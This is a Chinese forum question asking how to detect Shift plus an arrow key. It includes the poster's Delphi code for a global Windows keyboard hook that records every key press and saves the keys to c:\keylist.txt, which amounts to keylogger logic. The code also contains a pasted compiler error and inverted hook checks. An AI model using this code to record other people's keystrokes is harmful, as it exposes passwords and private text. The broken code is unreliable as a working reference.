下面是监控键盘的的钩子代码,哪位赐教我一下,如何当同时按下shift和方向键时有个标记
unit hkproc;
interface
uses
  Windows,Messages,SysUtils, Variants, Classes, Graphics, Controls, Dialogs, StdCtrls;var
   f :file of char;
   c :char;
   i :integer;
   j :integer;
   hNextHookProc : HHook;
   procSaveExit : Pointer;   keyList:tstringlist;function KeyboardHookHandler(iCode : Integer; wParam : WPARAM; lParam : LPARAM) : LRESULT;
function EnableHotKeyHook : BOOL;
function DisableHotKeyHook : BOOL;
procedure HotKeyHookExit;implementationfunction KeyboardHookHandler(iCode  : Integer;
                             WParam : WPARAM;
                             lParam : LPARAM) : LRESULT;
const
   _KeyPressMask = $80000000;
begin
  Result :=0;
  if iCode <0 then
  begin
    Result :=CallNextHookEx(hNextHookProc,iCode,
    wParam,lParam);
    Exit;
  end;
  if((lParam and _KeyPressMask)<>0) then
  begin
    i:=getkeystate($10); //返回Shift键的状态
    j:=getkeystate($14); //返回Caps Lock键的状态
    if((j and 1)=1 )then //判断CapsLock是否按下
    begin
      //判断Shift 是否按下
      if ((i and _KeyPressMask)=_KeyPressMask) then
      begin
        if (wparam<65) then //判断是字母键还是数字键
          c:=chr(wparam-16)
        else
          c:= chr(wparam+32);
      end else
      begin
        if (wparam<65) then
          c:=chr(wparam)
        else
          c:=chr(wparam);
      end
    end else
    begin
      if ((i and _KeyPressMask)=_KeyPressMask) then
      begin
        if (wparam<65) then
          c:=chr(wparam-16)
        else
          c:= chr(wparam);
      end else
      begin
        if (wparam<65) then
          c:=chr(wparam)
        else
          c:=chr(wparam+32);
      end;
      //seek(f,FileSize(f));
      //write(f,c); //将捕获的键码存入文件
      keylist.Add(c);
    end;
  end;
end;function EnableHotKeyHook:BOOL;
begin
   keyList:=tstringlist.Create;
   keylist.Clear;   Result:=False;
   {
   [DCC Error] hkproc.pas(78): E2009 Incompatible types: 'Calling conventions differ'
   }
   if hNextHookProc < 0 then exit;
   hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,@KeyboardHookHandler,Hinstance,0);
   Result:=hNextHookProc = 1;
end;function DisableHotKeyHook:BOOL;
begin
   if hNextHookPRoc < 0 then
   begin
     UnhookWindowshookEx(hNextHookProc);
     hNextHookProc:=0;
     Messagebeep(0);
     Messagebeep(0);
   end;
   keyList.SaveToFile('c:\keylist.txt');
   keyList.Free;
   Result:=hNextHookPRoc=0;
end;procedure HotKeyHookExit;
begin
   if hNextHookProc < 0 then DisableHotKeyHook;
     close(f); //关闭文件并自动解除挂钩
   ExitProc:=procSaveExit;
end;end.